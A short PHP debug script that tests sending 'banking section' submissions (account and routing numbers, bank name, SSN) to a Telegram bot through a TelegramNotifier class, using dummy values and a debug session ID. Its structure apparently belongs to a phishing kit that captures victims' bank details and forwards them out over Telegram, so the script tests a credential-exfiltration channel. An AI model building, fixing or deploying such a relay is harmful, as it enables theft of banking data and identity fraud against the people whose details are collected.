<?php
/**
 * Debug script to test banking section submission
 */

// Include required files
require_once 'config.php';
require_once 'telegram.php';

// Test data for banking section
$testData = [
    'account_number' => '1234567890',
    'routing_number' => '123456789',
    'bank_name' => 'Test Bank',
    'account_type' => 'Checking',
    'ssn' => '123-45-6789'
];

$sessionId = 'DEBUG123';
$config = include 'config.php';

// Initialize Telegram notifier
$telegram = new TelegramNotifier($config);

echo "Testing banking section notification...\n";
echo "Session ID: $sessionId\n";
echo "Test data: " . json_encode($testData, JSON_PRETTY_PRINT) . "\n\n";

// Test the banking notification
$result = $telegram->sendBankingDetailsNotification($sessionId, $testData);

if ($result) {
    echo "✅ Banking notification sent successfully!\n";
} else {
    echo "❌ Banking notification failed!\n";
}

echo "\nTest completed.\n";
?>
